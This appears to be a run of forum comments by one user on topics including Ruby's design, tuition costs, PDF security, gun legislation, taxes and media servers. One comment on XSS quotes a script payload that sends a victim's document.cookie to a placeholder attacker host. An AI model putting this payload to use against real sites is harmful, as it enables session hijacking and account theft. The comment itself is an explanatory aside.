See BlackPignouf's response for an example of why I think Ruby sucks. I never said it should be restrictive. There should simply be one right way to do something, not a hundred ways. Python, which is not perfect by any means, is pretty good about this. It is a very flexible language with lots of libraries, but there is a very limited way of doing any one thing. There is also plenty of guidance on the "Pythonic" way of doing any particular task.

A good programming language is not one that is full of fucking "whimsy". A good programming language has a clear, concise set of commands which are self documenting. It should be difficult to write the same, simple function in multiple ways. Ruby fails on all accounts. The wording is inconsistent, there are about 45million different ways to write any given function which also means it is hardly self documenting.

I've rarely met a Ruby developer who was employable in another field because they simply don't know what constitutes good, clean, concise code.

I've got karma to burn...

Um...Linux Mint Debian Edition (LMDE)???

One of the most successful companies of all time, which is still doing billions in business, and everyone can't wait to tell them how they are fucking it up...

Why don't all these brilliant analysts go make billions if they are so smart?

Universities have no incentive to lower prices for a couple reasons:

1) Government Intervention. Government loans mean that anyone with any type of credit can get loans to cover most of their tuition. Therefore it is "affordable" to pay ridiculous amounts of money for education.
2) Society has pushed the myth that one MUST be college educated no matter where they are headed in life to have any real career. This is patently false, especially in the trade industry.
3) Higher priced education is considered "better" by society, by and large.
4) People buying the crap that you need to be "well rounded" in your college education, which is an excuse for Universities to make students take all kinds of worthless courses (thus paying more) for their degree.


To fix the problem, government needs to start weening out their involvement, so that Universities have to charge less or face a lack of business. Students need to start considering whether they really need 4-5 years of education to go into tribal drumming music. Alternate trade schools need to pop up which give people only the education they need for their career choice. Finally, and this is already happening to a large extent, businesses need to stop putting so much stock in big name universities, and university degrees in general. There would also be pressure for educators to put together shorter, better degree tracts if the loan rates one could get were directly tied to ones likelihood of getting a paying career (and thus being able to pay back the loan in a reasonable time)...you know, the way loans work in most other parts of the market.

If you need PDF forms, then you just about have to live with the whole "dynamic content" package which is the security problem in the first place.

Check out Sumatrapdf http://blog.kowalczyk.info/software/sumatrapdf/free-pdf-reader.html. It's super fast and does not support javascript or actionscript in PDF's. I use it exclusively now.

Providing they aren't setting the httponly attribute of the cookie (or the victim is using a really old browser, you only need one XSS vector:

<script>document.write("<img src='http://attackerwebsite.com/?cookiesteal=" + document.cookie + "' />");</script>

Teensy++. Cheap, easy, full featured.

Like many so called gun "safety" legislation attempts, this legislation has nothing to do with gun safety and everything to do with gun control. This type of legislation will severally harm gun makers financially (potentially putting them out of business). Furthermore, new smart guns technology could easily double the cost of any firearm, making it hard for law abiding individuals to own and purchase firearms. Failure points are a given, and it won't be long before follow up legislation will mandate back doors for law enforcement built in to the firearm "safety" mechanisms. The backdoors will almost for sure be easily exploitable and buggy. This legislation is bad from start to end, but luckily/hopefully people aren't stupid enough to buy the hype, and it will fail like all the attempts before it.

With the recent IRS debacle and large corporations like Apple and Facebook avoiding billions in taxes, it should be obvious to everyone that taxes are not about fairness. They are a weapon to be wielded by government to attack opposition and to grant favors to business cronies who elect them and donate to them. If ever there was an argument for a simple tax system, like a flat tax, this is it.

Actually I'm a hard core Libertarian with strong Conservative leanings. I don't agree that the government can or should attempt to grant "rights". I believe they only take them away. But as you pointed out, it is completely off topic.

As for the whole driving is a right/privilege, I can't win either way. If I didn't make the disclaimer, there would be a dozen posts of people claiming that driving isn't a right. Driving is not a enumerated right in the constitution. Transportation is covered. Driving a car isn't. As one AC pointed out there are a lot of court cases to back up that it should be a "right". I believe that the government ought to get the hell out of transportation completely, but then you'd have private roads and private tolls which has its own system of problems. While they maintain the roads, they get to make the rules that govern travel on them, to some extent. That is a whole debate in itself.

We'd prevent many accidents and most of the fatal ones if we forced everyone to drive no faster than 15 miles an hour.

The obvious problem is that it is impractical, likely to severely impact average individuals, and frankly a pretty lousy tradeoff of "freedom" versus safety. I use freedom in quotes, because yes, "driving is a privilege not a right". On a side note, those who make the idiotic argument that the internet should be a "right" because it is almost impossible to live without it are on far more untenable ground than claiming that driving ought to be a "right".

Likewise, with drinking, there are similar practical, freedom versus safety, and impact arguments. I personally fall on the, "the government doesn't give a crap about safety and wants to scam citizens for millions of dollars each year" side of the issue.

Right now a hacker can cause billions in damages, and pull potentially millions of dollars in ill-gotten loot, and maybe see 15 years in prison. That is way too soft in my opinion.

On the issue of Swartz, I don't know why the guy is some sort of cause-celeb just because he off-ed himself. He broke the law, plain and simple.

In cases where individuals get unauthorized access, and aren't doing anything with it (not Swartz who was planning to distribute), I think there could be room for more lenient sentencing, especially on first offenses.

I've tried many different schemes in the past, but this is by far the best and easiest that I've come up with: Roku + Plex + Plex media server. Then Samba shares for everything else.